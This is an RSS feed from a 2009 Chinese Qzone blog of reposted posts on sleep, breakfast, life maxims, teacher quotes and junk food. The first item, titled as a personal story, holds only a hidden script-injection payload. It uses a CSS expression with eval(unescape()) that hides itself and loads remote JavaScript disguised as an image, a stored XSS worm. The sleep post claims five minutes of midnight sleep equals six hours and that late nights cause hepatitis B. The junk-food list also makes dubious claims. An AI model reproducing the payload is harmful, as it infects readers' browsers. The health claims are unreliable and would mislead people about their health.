<![CDATA[Alice JIAO]]> http://328262752.qzone.qq.com Thu, 26 Nov 2009 14:40:07 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Sat, 21 Nov 2009 04:50:09 GMT <![CDATA[[转]少妇真实自述婚后的夫妻生活]]> http://328262752.qzone.qq.com/blog/1258779009 [flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://328262752.qzone.qq.com/blog/1258779009#comment 4616 Sat, 21 Nov 2009 04:50:09 GMT http://328262752.qzone.qq.com/blog/1258779009 <![CDATA[[转]东至老师经典语录]]> http://328262752.qzone.qq.com/blog/1258636484 2我也不好骂你一句的
3洋西西地东西，一个人在那孬笑
4一听就懂，一做就错
5一天到晚把嘴滋着，滋莫东西呢
6脑子里也不晓得注了么东西
7他管么东西都不晓得诶，他就晓得怪老思
8坐在哪里瘟哚哚地，你也记哈子哦
9你就晓得港自己大意着迈大意着迈，你那是大意捉啊！？你那就是做不来
10一切都是假地，只有高考是真的。
11现在的女滴，都精的很
12有的人港几分无所谓，几分无所谓啊！几分一哈子就把你从北京拉到池州学院来了
13我们老思连拉带推把你推到安大门口，嘿嘿，你好，走到门口还滑一跤滑出来了 14不晓得也不做，就晓得把眼睛子翻着
15考试做不来又把眼睛子一翻，把嘴蕊着 16你们要好好干啊！不要像我这样为老嘎做贡献啊！
17问他可听得懂啊！听地懂，问他可做的来啊！（闭眼摇头）做不来
18跟他讲哪里有好七滴啊，他跑滴之个隆冬
19安徽还有几个老东子能出卷子，等这几个老东子死了就没有了
20这个老东子在嘎一边烘火桶一边出卷子，就出了这么一道怪题目
21有的同学一做到这个地方就错，跟鬼摸着头一样滴
22你到大学也要好好学，学医地话不要到时候出来一针把人挖死了
23一个男的和一个女的走路的时候在三米以内就有问题
24谬叫你化成小数你还写小数，你那么喜欢小数啊！？你还小啊！你不小嘞！
25有滴同学我港题目他睡觉，我港完了他醒了，把眼睛子直个翻滴
26这个题目错了，把m改成n，嘿嘿，有滴同学港我你那做不来就改题目，那不是滴，这题是真错了，我跟你们港啊！你们高考不能改题目诶
27（有同学在下面指出他黑板上有处错误）有的同学也不听，也不动脑子，糊头糊脑滴就港我错了（看了一眼黑板），哦，恩，这个，恩，这次是我写错了
28做题目要做到眼睛子都瞎了才照，不要紧，到大学就会复明的
29你本来可以在北京的，这题一做错，就来合肥了（继续讲下一题…）这题你也错，就到池州了，回嘎了
30上括不好好上，作捏不好好做，考试不好好考，恩瓢嘎七玩啊！做莫思哦，做捏也
31你个董哒哒的，用农村骂人的话讲就是董子
32哄你个鳖鳖不吃老豆腐33 在校糊老师，在家糊父母，其实是糊自己
34你嘎气给你个鳖鳖跟你个妈妈港，老师叫我背sin cos，据港，你三年都背不会 ，你嘎气捡狗屎，狗屎都捡不到，猫屎可以捡到两摊
35你的脑子哪是花岗岩做的，原子弹炸都炸不开 ]]> http://328262752.qzone.qq.com/blog/1258636484#comment 134218248 Thu, 19 Nov 2009 13:14:44 GMT http://328262752.qzone.qq.com/blog/1258636484 <![CDATA[[转]睡五分钟等于六钟头的方法(熬夜必看）]]> http://328262752.qzone.qq.com/blog/1258635961


　　睡觉的诀窍
　　根据医学和我的体验、观察，一个人真正睡着觉最多只有两个钟头，其余都是浪费时间，躺在枕头上做梦，没有哪个人不做梦。至于醒来觉得自己没有做梦，那是因为他忘记了。
　　通常一个人睡两个钟头就够了，为什么有人要睡七、八个钟头?那是你赖床躺在枕头上休息的习惯养成的，并非我们需要那么久的睡眠时间，尤其打坐做功夫的人晓得，正午只要闭眼真正睡着三分钟，等于睡两个钟头，不过要对好正午的时间。夜晚则要在正子时睡着，五分钟等于六个钟头。



　　
就这个时间的学问又大了，同宇宙法则、地球法则、易经阴阳的道理有关系，而且你会感觉到，心脏下面硬是有一股力量降下来，与丹田(肾上)的力量融合，所谓“水火既济”，豁然一下，那你睡眠够了，精神百倍。
　　所以失眠或真要夜里熬夜的人，正子时的时刻，哪怕二十分钟也一定要睡，睡不着也要训练自己睡着。
　　过了正子时大约十二点半以后，你不会想睡了，这很糟糕。更严重的，到了天快亮，四、五点钟，五、六点卯时的时候，你又困得想睡，这时如果一睡，一天都会昏头。
　　所以想从事熬夜工作的人，正子时，即使有天大的事也要摆下来，睡它半小时，到了卯时想睡觉千万不要睡，那一天精神就够了。
　　不过失眠的人都挨过十二点，在床上翻来覆去睡不着，结果快天亮睡着了，到第二天下午都昏头昏脑，因此你会感觉失眠、睡眠不足，实际上是你没有经验。



　　
睡眠与养生
　　一、睡眠的规则
　　战国时名医文挚对齐威王说：“我的养生之道把睡眠放在头等位置，人和动物只有睡眠才生长，睡眠帮助脾胃消化食物，所以，所以睡眠是养生的第一大补，人一个晚上不睡觉，其损失一百天也难以恢复。”
　　晚21点到凌晨5点为有效睡眠时间。人是动物，和植物同属于生物，白天(凌晨5点到晚上21点)活动产生能量，晚上(21点到凌晨5点)开始进行细胞分裂，把能量转化为新生的细胞，是人体细胞休养生息、推陈出新的时间，也是人随着地球旋转到背向太阳的一面。阴主静，是人睡眠的良辰，此时休息，才会有良好的身体和精神状态。这和睡觉多的婴儿长得胖、长得快，而爱闹觉的孩子发育不良是一样的道理。
　　睡觉是养生的一大功能，养就是用大量的健康细胞去取代腐败的细胞，如一夜睡不着就换不了新细胞。如果说白天消亡一百万个细胞，一晚上只补回来五十万个细胞，这时你的身体就会出现亏空，时间长了，人就糠了，像糠萝卜似的。为什么世上有百岁老人呢?因为他们每晚都在21点钟准时睡觉。





　　植物吸收阳光的能量，夜里生长，所以夜晚在农村的庄稼地里可听到拔节的声音。人类和植物同属于生物，细胞分裂的时间段大致相同，错过夜里睡觉的良辰，细胞的新生远赶不上消亡，人就会过早的衰老或患病，人要顺其自然，就应跟着太阳走，即天醒我醒，天睡我睡。人在太阳面前小如微尘，“与太阳对着干”是愚蠢的选择，迟早会被太阳巨大的引力催垮。这是客观真理。
　　现实生活中，不少人有入睡难，睡眠质量不高的毛病。睡眠不好是一个综合性的问题，如肝火过盛，睡觉警觉;胃火过剩，睡觉不安;肝阴不足，睡觉劳累。




　　二、睡眠与疾病

　　现代的生活习惯和生活方式给人们的身体带来了很多负面影响形成“四大病”：水果病、冰箱病、电视电脑病、熬夜病。肝脏有一特点：卧则回血，坐立向外供血。
　　子时(23：00—1：00)，其实23点就是新的一天的开始，并不是0点开始的，这是我们犯的误识。肝胆相表里，互为一家，23点胆经开了，如若不睡，大伤胆气，由于十一脏腑皆取决于胆也，胆气一虚，全身脏腑功能下降，代谢力、免疫力纷纷下降，人体机能大大降低，胆气支持中枢神经，胆气受伤易患各种精神疾病，比如抑郁症、精神分裂症、强迫症、躁动症等。子时胆要更换胆汁，胆经渐旺人如不卧，胆汁更替不利，过浓而结晶成石，久之即得胆结石，如果把胆给摘了，一摘就胆怯了，全身的免疫力下降了50%以上，所以不能摘，要用它本系统的巨大潜能把它化掉。
　　丑时肝经最旺，丑时(1：00—3：00)不眠，肝无法解除掉有毒之物，产生新鲜血液，因藏血不利，面呈青色，久之易患各类肝病，现在有些人肝不太好，特别在欧洲平均4个人就有一个大三阳或是小三阳，大都是因为违反自然规律过了子时不睡觉造成的。甲肝比较好治，乙肝就很难治。乙肝病毒携带者，是由于晚上经常不睡觉，人太虚弱了，也就是说秩序太乱了，病毒已经到了细胞里了。也就是说乙肝的病毒已经到了细胞里面，但是现在它还没有能力造成肝炎，当人身体处于最薄弱的时候就形成成肝炎，乙型肝炎就意味着将来40%——60%的肝硬化。聪明的人是应该了解天、地、人之间的关系，不聪明的人就是应该被淘汰的人。




　　垃圾睡眠给肝脏带来多大伤害？

　　肝主疏泄，过子时不睡，可引起肝疏泄不利，肝气郁结，可见易怒，头痛头晕，眼红，眼痛，耳鸣，耳聋，胸肋胀痛，女性月经不调，便秘，也可引起肝气升发不足，人会目倦神疲，腰膝酸软，晕眩，失眠，惊悸，精神恍惚，重则会晕倒在大街上，不省人事。
　　肝有藏血、调节血液的功能，过子时不睡，会造成肝血不足，还会引起吐血、流鼻血、皮下出血、牙龈出血、眼底出血、耳出血等出血证状。
　　肝开窍于目，过子时不睡，易引起肝虚，则出现视力模糊、老花、夜盲、畏光、迎风流泪，等症状，还会形成青光眼、白内障、眼底动脉硬化、视网膜病变等眼疾。
　　肝主筋，其华在爪，过子时不睡觉，会引起肝血不足，就出现筋痛，麻木，屈伸困难，痉挛抽搐，易造成灰指甲，缺钙，髌骨软化，癫痫病，骨质疏松等症。





　　肝与心，过子时不睡觉，可引起肝血不足，由于心主一身之血脉，肝有储藏和调节血液的功能，会造成心脏供血不足，引起心慌、心颤等症状，严重的形成心脏病、高血压等心脑血管疾病。
　　肝与脾，过子时不睡觉，会引起肝胃不和，由于肝助脾胃消化，由于肝气太虚不能助脾胃消化，使人脾胃消化功能不好，表现为舌苔厚，长期以来会造成中气塌陷。
　　肝与肺，过子时不睡觉，无法滋阴潜阳，肝阴亏损，引起肝火过盛灼肺，出现干咳、或咳嗽、咳痰血等木火刑金的证状，易导致牛皮癣等各种皮肤病。
　　肝与肾，过子时不睡觉，肝虚导致肾亏，由于肝肾同源，容易造成生殖系统疾病、不育、骨病、牙病、脱发、糖尿病、肾衰竭等疾病。




　　三、睡眠的方法

　　交通规则——你不懂就容易出事故。比如说，23点至凌晨3点为子丑时，胆肝经最活跃的时候，肝胆要回血，“躺下去回血，站起来供血”。如果你每晚22点钟左右躺下，静静得不要说话，到23点的时候，也就睡着了。肝胆开始回血，把有毒的血过滤掉，产生新鲜的血液，到一百岁也没有胆结石，也没有肝炎、囊肿一类的病。如果你天天熬夜到1点多，肝回不了血，有毒的血排不掉，新鲜的血生不成，胆又无法换胆汁，所以这些人容易得胆结石、囊肿、大三阳、小三阳各种病症。
　　在欧洲地区，平均四个人就有一个肝炎病毒携带者，这就叫不懂规则。睡前半小时最好不要讲话，睡觉的时候更不要说话，如一说话，肺经动，然后心经又动，(因为心肺共为上焦)人就容易进入兴奋状态，所以就很难入睡。
　　21：00—23：00为亥时。亥时三焦经旺，三焦通百脉。亥时入眠，百脉皆得濡养，故百岁老人得共同特点即21：00(亥时)之前入睡。女性若想长久的保持容颜娇好，应做到早睡早期。
　　睡觉要关窗，不能开风扇、不能开空调，人生病很多都与此有关，因为人在睡眠之中，气血流通缓慢，体温下降，人体会在表面形成一种阳气层，这种阳气层它使人叫“鬼魅不侵”，什么意思呢，阳气足的人，不做恶梦，就是这种阳气，占了上风。开空调，开风扇，情况就不一样了，开窗户，窗户走的是风，风入的是筋，如果开空调，也有风，风入筋，寒入骨，早上起来，身上发黄，脸发黄，脖子后面那条筋发硬，骨节酸痛，甚至有人就开始发烧，这就是风和寒侵入到了筋和骨头里的缘故，这也就是气受伤了。如果说晚上睡觉不开窗，不开空调，不开风扇，连房门也关上，效果最好，如果热，把房门打开，把窗户关上，效果就差了一点，但是他不至于第二天早上起来浑身乏力，后背僵硬.
　　有人把客厅的空调开开了，把卧室的门打开，和直接开空调睡觉是差不多的，开了空调以后，空调那个寒进了骨了，所以心里发冷，心在哪，心在脑髓，脑为髓之海，骨髓里有寒，那肯定心里就寒了，怎么办，补肾阳、补中气，什么时候补到心里不冷，烧就退了，寒走出去了。





　　睡觉要尽量早睡，睡得晚，伤了少阳之气，必然第二天是疲倦无力，要关上窗户，不开空调、电扇，保护阳气。
　　肝胆在下焦，如果胃出现问题的时候，他就会出现寝睡不安，一个是胃寒，如果这个人胃阳本来就不足，过多的喝绿茶，就会出现胃寒，胃寒的时候人是睡不好觉的，或者吃带泥沙之物过多，胃隐隐作寒，肯定是睡不好;
　　再一个是胃热，就是热气往上走，嘴里喘的都是热气，像这种情况也睡不好觉;再一个是胃燥，口干舌燥，胃里感觉到燥;
　　还有一个就是胃厚，气味的味，胃厚，这种情况就是吃了这种厚腻的味道，有人吃海鲜、吃鱼、吃炖鸡，味道好鲜美，吃多了，美味不可多用，这些东西在里面要稀释它，不稀释它，它在里面味太厚了，所以这个也睡不好觉;
　　再一个腹涨，腹是涨鼓鼓的，也睡不着，翻来覆去也睡不着;再一个是胃气太虚，冒冷汗，这也睡不好觉，这些原因都可能形成胃不宁，胃不宁就睡不好。
　　睡觉时要肢暖，四肢要暖，因为四肢是阳之本，这个大家都知道了，四肢不暖，肯定是肾阳不足，应该在睡觉之前把手脚捂暖，手脚和肚脐、背后的命门都要盖好。




　　睡眠法因人而异，下面介绍3种做法：

　　1、睡觉前简单的压腿，然后在床上自然盘坐，两手重叠放于腿上，自然呼吸，感觉全身毛孔随呼吸一张一合，若能流泪打哈欠效果最佳，到了想睡觉时倒下便睡。
　　2、仰卧，自然呼吸，感觉呼吸像春风，先融化大脚趾，然后是其他脚趾，接着脚、小腿、大腿逐渐融化。如还未醒着，再从头做。
　　3、入睡快的人可右侧卧，右手掌托右耳。右掌心为火，耳为水，二者形成水火即济，在人体中形成心肾相交。久之，养心滋肾。
　　睡眠一定要早起，即使在冬天，也不可超过6点起床，春夏秋季尽量在5点之前起床，因为人在寅时(3点—5点)肺经旺的时候起床，能够使肺气得以舒展，以顺应阳气的舒长，来完成新陈代谢，肃降浊气，使肺气清，这样有助于养肺和顺应太阳的天势升起人体阳气，使人一天阳气充足，否则，就好像发动机，过了这段好时机就很难发动人体阳气，人体阳气淤积在人体下部不能由命门向上发动升起，会形成淫气，严重损害人的身心健康。





　　早晨5点至7点是人体大肠经最旺的时候，人体需要把代谢的浊物排出体外，此时如果不起床，大肠得不到充分活动，无法很好的完成排浊功能，使浊物停留而形成毒素，危害人体血液和脏腑百骸。早晨7点到9点人体胃经最旺，9点到11点人体脾经最旺，这时人的消化吸收运化的能力最好，如果这时还不起床，人体胃酸会严重腐蚀胃粘膜，人体在最佳吸收营养时间得不到营养，长期以来会患脾胃疾病，造成营养不良、中气塌陷。所以千万不要赖床，赖床会造成头昏、疲惫不堪、睡眠不足的感觉，而应按时起床，历史上许多伟人都是有三四点钟起床的习惯，比如华盛顿、拿破仑、康熙皇帝、曾国藩等。另外早起能增加工作效益，俗话说：“三天早起，一天工”。
　　现代医学证明，早睡早起的人精神压力较小，不易患精神类疾病。早晨不要太早出去锻炼，因为早晨在太阳没有出来之前，地下道的漳气、浊气正往上走(尤其是城市)，这些气对人体损伤是很严重的。
　　养身三大事，一睡眠，二便利，三饮食，其余起居、服装等皆是辅助。
　　三事中睡眠第一。然胃纳不和者，夜眠不安，故以通便利为第二。而饮食无节，饥饱过度者，肠胃必受伤，而营养日减。睡以安神为主，神以心安为主，应配合年龄，壮年至多七小时至八小时，多睡则智昏头晕眼红胀，四肢疲软，童年必睡足八小时，或过九小时勿碍，老或病人至多六小时已足。




　　睡眠中不可忽视的疾病警告
　　应注意：

　　(一)睡眠宜早，勿过十时，老年人以八点为正，勿过九点。凡交十一时，为阳生时，属肾，此时失眠，肾水必亏，心肾相连，水亏则火旺，最易伤神。千万勿以安眠药片助睡。
　　(二)枕上切忌思索计算未来事，睡时宜一切不思，鼻息调匀，自己静听其气，由粗而细，由细而微细而息。视此身如无物，或如糖入于水，化为乌有，自然睡着。
　　(三)如有思想，不能安着，切勿在枕上转侧思虑，此最耗神，可坐起一时再睡。
　　(四)如在午时，即上午十一点至一点，为阴生之时，属心，此时如不能睡，可静坐一刻钟，闭目养神，则心气强。凡有心脏病者切宜注意，每日于此二时注意，则元气日强，无心跳腹泄或小便频速之病。
　　(五)夏日起宜早，冬日起宜迟。居北方宜防寒气，如在粤桂等省，早起防山岚瘴气中病。食后勿仰天睡，早起如在寅时三点至五点，此时切忌郁怒，必损肺伤肝，万望注意。 ]]> http://328262752.qzone.qq.com/blog/1258635961#comment 134218249 Thu, 19 Nov 2009 13:06:01 GMT http://328262752.qzone.qq.com/blog/1258635961 <![CDATA[[转]一个准的吓死人的测试！能算出你的年龄!]]> http://328262752.qzone.qq.com/blog/1258509871 一个准的吓死人的测试！能算出你的年龄!
【1】首先,挑一个数字(0 －7)表示每个礼拜想出去走走的次数
【2】把这个数字乘上2
【3】然後加上5
【4】再乘以50
【5】如果你今年的生日已经过了，把得到的数目加上1759，如果还没过，加1758
【6】最後一个步骤，用这个数目减去你出生的那一年
【7】现在你会有一个三位数的数字
【8】第一个位数是你一开始选择的数目(也就是每个星期你希望出去走走的次数) 接下来的二个位 数就是你的年龄(周岁),准了就要顶啊! ]]> http://328262752.qzone.qq.com/blog/1258509871#comment 134218248 Wed, 18 Nov 2009 02:04:31 GMT http://328262752.qzone.qq.com/blog/1258509871 <![CDATA[[转]生活应该是这样的]]> http://328262752.qzone.qq.com/blog/1258509607 1。经常保持微笑.







2。学会和别人一块分享喜悦.








3。乐于助人








4。并保持自己的一颗童心









5。学会和各种人愉快的相处









6。保持幽默感









7。要能处乱不惊









8。学会宽恕他人









9。有几个知心朋友









10.要有目标和追求








11。常和别人保持合作,并从中获得乐趣









12。最好能够有点男欢女爱，呵呵。。。









13。保持高度的自信心









14。尊重弱者








15。偶尔放纵自己一下









16。不做违法犯罪的事









17。具备胆识和勇气









18。不要狗拿耗子多管闲事










19。要经常运动，比如提水










20。经常出去呼吸一下新鲜空气










21。对人对己都要严格要求









22。有点成绩，不要总是沾沾自喜









23.不要总是追求不属于自己的东西










24。要懂得浪漫










25任何时间都要相信：

成功的男人背后一定有一个成功的女人











26。要知足常乐:
，
比如我们已经拥有了“保时捷"




27。登高望远能淘冶情操






28。每年去度假几次








29。不要酗酒







30.不要财迷




送给每一个朋友,如果你能发给10个朋友…
…他们会一样的快乐!!! ]]> http://328262752.qzone.qq.com/blog/1258509607#comment 134218249 Wed, 18 Nov 2009 02:00:07 GMT http://328262752.qzone.qq.com/blog/1258509607 <![CDATA[[转]生活]]> http://328262752.qzone.qq.com/blog/1258509397 动力比能力重要;
方向比方法重要;
做人比做事重要;
讲故事比讲道理重要;
磨练自己比豪言壮语重要;
改变自己比改变别人重要。
　　
梦想要像７０后那样去奋斗；
生活要像８０后那样去享受；
爱情要像９０后那样去牵手；
道路要按自己的风格走。
]]> http://328262752.qzone.qq.com/blog/1258509397#comment 134218248 Wed, 18 Nov 2009 01:56:37 GMT http://328262752.qzone.qq.com/blog/1258509397 <![CDATA[[转]培养气质的99个好习惯]]> http://328262752.qzone.qq.com/blog/1258509287 习惯从细节做起



　　1. 从容从大方开始
　　2. 培养自信的语言
　　3. 让你的笑容像阳光一样
　　4. 积极表露你的热情
　　5. 让表达自己成为一种习惯
　　6. 让你的肢体语言更有感染力
　　7. 谈吐讲究“不凡”
　　8. 站坐走要“有形”
　　9. 让你的行动更干练
　　10. 用知识来武装自己
　　11. 用音乐来熏陶自己
　　12. 让自己的穿着大方得体
　　13. 时时注意自己的形象
　　14. 做个懂得静修的人
　　
　　好习惯带来好心情




　　15. 关键时刻要放松
　　16. 紧张的时候深呼吸
　　17. 别为小事生气
　　18. 学会控制自己的情绪
　　19. 让自己冷静而不狂躁
　　20. 及时给自己减压
　　21. 悲观时，进行自我暗示
　　22. 自觉保持谦逊
　　23. 人生不时要冒险
　　24. 用变通打破困境
　　25. 让自己充实起来
　　26. 虚心接受别人批评
　　27. 偶尔吃亏心要宽
　　28. 时时提醒自己要从容
　　29. 经常进行自我对话
　　30. 定期进行自我评估
　　31. 每天自省一小时
　　32. 进行适当的自我肯定
　　33. 正确认识自己的缺点
　　34. 做你害怕的事
　　
　　好习惯造就好生活




　　35. 每天晨炼半小时
　　36. 养成用早餐的习惯
　　37. 吃饭只吃八分饱
　　38. 要养成吃鱼的习惯
　　39. 蔬菜水果天天吃
　　40. 充分利用纤维食品
　　41. 多喝水，再多喝一点儿
　　42. 常喝绿茶。细品茶的意蕴
　　43. 经常服用维生素
　　44. 戒烟戒酒，戒掉恶习
　　45. 要养成按时作息的习惯
　　46. 静心养神一刻钟
　　47. 随时随地活动身体
　　48. 走走楼梯好处多
　　49. 带上绳子去运动
　　50. 学会用游泳强健心肺
　　51. 永远是跑步一族
　　52. 保持快速步行
　　53. 爬爬山，出出汗
　　54. 定时走进健身房
　　55. 爱上单车瘦身运动
　　56. 隐形体操，忙里偷闲
　　57. 定期体检，为健康护航
　　58. 经常和大自然亲密接触
　　好习惯成就好前程




　　59. 制定有效目标的习惯
　　60. 经常进行战略思考
　　61. 用计划来掌控全局
　　62. 遵循规则，尊重规则
　　63. 大事化小，分段完成
　　64. 要事第一，主次分明
　　65. 管理好你的时间
　　66. 心动就快行动
　　67. 效率从办公桌开始
　　68. 每天一张图表
　　69. 全力以赴地做事
　　70. 注重细节
　　71. 快速处理小事
　　72. 一次只做一件事
　　73. 让电话变简洁
　　74. 养成不屈不挠的风格
　　75. 尽善尽美，方成就大事
　　76. 把喜怒哀乐藏起来
　　
　　好习惯赢得好人缘




　　77. 准时赴约
　　78. 用“眼睛”去倾听
　　79. 记住别人的姓名
　　80. 认认真真去握手
　　81. 少谈些自己，多谈些他人
　　82. 投其所好来交流
　　83. 欣赏之感溢于言表
　　84. 做个好听众
　　85. 多多鼓励，善于激励
　　86. 双赢思维
　　87. 不要抱怨别人
　　88. 别总指责别人
　　89. 学会交流，与人协作
　　90. 尊重别人的隐私
　　91. 善待他人
　　92. 宽容是交友之道
　　93. 用心经营你的家庭
　　94. 充满爱与感激的小纸条
　　95. 每天说句“我爱你”
　　96. 别把工作带回家
　　97. 温情的家庭日
　　98. 小礼物的惊喜
　　99. 把他的优点说出来
]]> http://328262752.qzone.qq.com/blog/1258509287#comment 134218249 Wed, 18 Nov 2009 01:54:47 GMT http://328262752.qzone.qq.com/blog/1258509287 <![CDATA[[转]营养早餐]]> http://328262752.qzone.qq.com/blog/1258508940
1、早餐前应先喝水
　　人经过一夜睡眠，消耗了大量的水分和营养，起床后处于一种生理性缺水状态。如果只进食常规早餐，远远不能补充生理性缺水。因此，早上起来不要急于吃早餐，而应立即饮500—800毫升凉开水，既可补充一夜流失后的水分，还可以清理肠道，。注意，吃早餐前要喝水但不要在喝太多的水。
　　2、早餐热量不宜过多
　　早餐的摄取量依体型，年龄的不同会有些差异，不过，摄入400-500卡的热量是比较适当的，约占一天需要量的四分之一。但可以尝试多补充些糖类。
　　常见早餐热量指南：
　　适合减肥的中式早餐——
　　1）菜包或肉包(热量约280大卡)+不加糖清豆浆300㏄(热量约110大卡)=390大卡
　　2）白馒头(热量约120大卡)+荷包蛋(热量约120大卡)=340大卡
　　3）小水煎包2个(热量约220大卡)+甜豆浆(热量约170大卡)=390大卡
　　4）快餐车粥品=240~350大卡
　　其他早餐的热量——
　　皮蛋瘦肉粥、广东粥 约320大卡
　　烧饼 约280大卡
　　油条 约250大卡
　　饭团 约300大卡
　　杂粮馒头 约280大卡
　　果汁(250㏄) 约110大卡
　　蕃茄汁(250㏄) 约50大卡
　　健怡可口可乐 1大卡
　　饮料热量比较
　　脱脂奶<低脂奶<豆浆<米浆<奶茶
　　3、每天早上都应该喝奶或豆浆，补充蛋白质和钙质
　　奶类除了提供蛋白质，还是很重要的钙质的主要来源。一天当中别的餐次较不容易摄取奶类，所以把牛奶当做每天早餐的饮品，比喝其他含糖饮料要营养得多。如果不喜欢喝牛奶或有乳糖吸收障碍，可以尝试多喝下自制的豆浆，对于东方女性来说，豆浆其实比牛奶更易吸收。
　　4、早餐至少包含三大类食物
　　早餐是一天中最重要的一餐，吃营养充足的早餐，不仅有益于现在的健康，而且有益于将来的健康。营养健康的早餐应该包括丰富的优质蛋白质、各种矿物质和维生素。具体操作时有一个重要指标，就是要包含碳水化合物(如馒头，米饭，面条，饼，面包，稀饭)，蛋白质(如蛋类，三文鱼，豆腐等)，早餐奶，当然，如果能再加上些蔬菜，水果就更均衡了。
　　最合理的早餐框架应包括以下三类食物：
　　第一类，碳水化合物含量丰富的粮谷类食品，如面包、馒头、花卷、豆包、米粥、面条、麦片、包子、馄饨、饼干等；碳水化合物是血液中葡萄糖的主要来源，是大脑所需能源最直接的、最快捷也是最清洁的供应者，是营养早餐不可缺少的。
　　第二类，蛋白质含量丰富的食品，如牛奶、酸奶、鸡蛋、咸鸭蛋、豆浆、火腿、肉类等；如果早餐只有第一类食品，没有第二类食品(富含蛋白质)，那么血液中葡萄糖浓度会很快下降，失去后劲，也就是说还没到中午，葡萄糖就被消耗殆尽，所以，早餐只吃面包、馒头、稀饭等粮食类食品是不充分的。
　　然而摄入过量蛋白质，又会增加内脏器官，如肾脏的代谢压力。乳清蛋白是易消化的优质蛋白，对补充蛋白质来说能达到事半功倍的效果。
　　第三类，维生素和矿物质含量丰富的新鲜蔬菜、水果或果汁等。是对早餐质量的提升，在方便早餐中配以蔬菜或水果，更有利于营养平衡。
　　5、早餐尽量清淡　
　　早餐坚决不主张油腻，因为高脂肪食品会导致大脑供血不足，影响孩子和脑力劳动者工作的准确性。早上吃太多油腻食品，如油条、油饼、巧克力、汉堡包等，上午容易犯困、注意力不集中，经过油炸的面粉，如油条，其中的营养素还被破坏。同样道理，如果早餐吃鸡蛋，建议尽量选择煮鸡蛋而非煎鸡蛋。
　　如果实在抵挡不住诱惑，一周一次也未尝不可。
　　6、早餐富于变化
　　很少有人受得了每天都吃一样的早餐。其实只要多花些心思，做些不同的搭配，早餐可以有很多变化。鸡蛋可以水煮，油煎，或是清蒸……牛奶可以泡麦片，也可以泡饼干，甚至可以兑入米酒中……这样的安排可以摄取到不同食物，不同营养素，更易达到营养的均衡。
　　只是千万不要将相忌的食材放入一起，那样对健康不利。
　　7、7点到8点吃早餐
　　医学研究证明，7点到8点吃早餐最合适，因为这时人的食欲最旺盛。早餐与中餐以间隔4—5小时左右为好。如果早餐较早，那么数量应该相应增加。
　　【一周健康早餐食谱推荐】
　　周一：三明治面包、肉松、花生酱、牛奶、番茄
　　怎样做：取两片三明治面包，在一片上抹一小匙花生酱，在加上一点肉松(稀疏地铺满面包片那么多)，将一个番茄切片加在中间，牛奶饮用量为250毫升。
　　周二：豆沙包、豆浆、腐乳、鸡蛋、苹果
　　怎样做：取两个小豆沙包加热，一个鸡蛋煮熟，取腐乳少量，与豆浆、苹果搭配一起食用。豆浆饮用量为250毫升。
　　周三：馒头、豆浆、豆腐干、咸鸭蛋、鲜橙
　　怎样做：馒头加热，咸鸭蛋切两半，只吃一半，豆腐干50克，鲜橙切开，搭配250毫升豆浆一起食用。
　　周四：全麦面包、香肠、酸奶、鸡蛋、黄瓜
　　怎样做：取全麦面包两至三片；一个鸡蛋煮熟；再取1/2根黄瓜切成小条并加少许盐;配一根香肠;饮用200毫升酸奶。
　　周五：汉堡面包、奶酪、果酱、牛奶、麦片、猕猴桃
　　怎样做：一个汉堡面包横切两半，抹一小匙果酱，中间加两片奶酪；一个猕猴桃切片，加在面包中或直接食用均可。小半杯麦片加牛奶饮用。
　　记住：早餐要吃好，午餐要吃饱，晚餐要吃少。
]]> http://328262752.qzone.qq.com/blog/1258508940#comment 134218248 Wed, 18 Nov 2009 01:49:00 GMT http://328262752.qzone.qq.com/blog/1258508940 <![CDATA[[转]感激，感激，感激……]]> http://328262752.qzone.qq.com/blog/1258508831
感激欺骗你的人，因为他增进了你的智慧，

感激中伤你的人，因为他砥砺了你的人格，

感激鞭打你的人，因为他激发了你的斗志，

感激遗弃你的人，因为他教导你该独立，

感谢绊倒你的人，因为他强化了你的双腿，

感谢斥责你的人，因为他提醒了你的缺点，

凡事感激，学会感激，感激一切使你成长的人。 ]]> http://328262752.qzone.qq.com/blog/1258508831#comment 134218248 Wed, 18 Nov 2009 01:47:11 GMT http://328262752.qzone.qq.com/blog/1258508831 <![CDATA[[转]生活中你常吃的十大垃圾食]]> http://328262752.qzone.qq.com/blog/1258508681

生活中你常吃的十大垃圾食品
第一、导致心血管疾病元凶(油炸淀粉)。
2、含致癌物质。3、破坏维生素，使蛋白质变性

　　
　　第二、腌制类食品
　　1、导致高血压，肾负担过重，导致鼻咽癌。2、影响粘膜系统（对肠胃有害）。
3、易得溃疡和发炎。

　　

　
　第三：LJ食品之加工类肉食品(肉干肉松,香肠等)
　　1、含三大致癌物质之一：亚酸盐（防腐和显色作用）。
2、含大量防腐剂（加重肝脏负担）。

　　
　　第四、饼干类食品(不含低温烘烤和全麦饼干)
　　1、食用香精和色素过多（对肝脏功能造成负担）。2、严重破坏维生素。
3、热量过多、营养成分低

　　第五、汽水可乐类食品
　　1、含磷酸、碳酸，会带走体内大量的钙。
2、含糖量过高，喝后有饱胀感，影响正餐

　　
　　第六、方便类食品(方便面和膨化食品)
　　1、盐分过高，含防腐剂、香精（损肝）。2、只有热量，没有营养

　　

第七、罐头类食品(包括鱼肉和水果)
　　1、破坏维生素，使蛋白质变性。2、热量过多，营养成分低。

　　

　　第八、话梅蜜饯类食品(果脯)

　　1、含三大致癌物质之一：亚酸盐（防腐和显色作用）。
2、盐分过高，含防腐剂、香精（损肝）。

　　


第九、冷冻甜品类食品(冰淇淋、冰棒和各种雪糕)
　　1、含奶油极易引起肥胖。2、含糖量过高影响正餐。

　　

　　第十、烧烤类食品
　　1、含大量“三苯四丙吡”（三大致癌物质之首）。2、1只烤鸡腿＝60支烟毒性。
3、导致蛋白质炭化变性（加重肾脏、肝脏负担）。

　　 ]]> http://328262752.qzone.qq.com/blog/1258508681#comment 134218249 Wed, 18 Nov 2009 01:44:41 GMT http://328262752.qzone.qq.com/blog/1258508681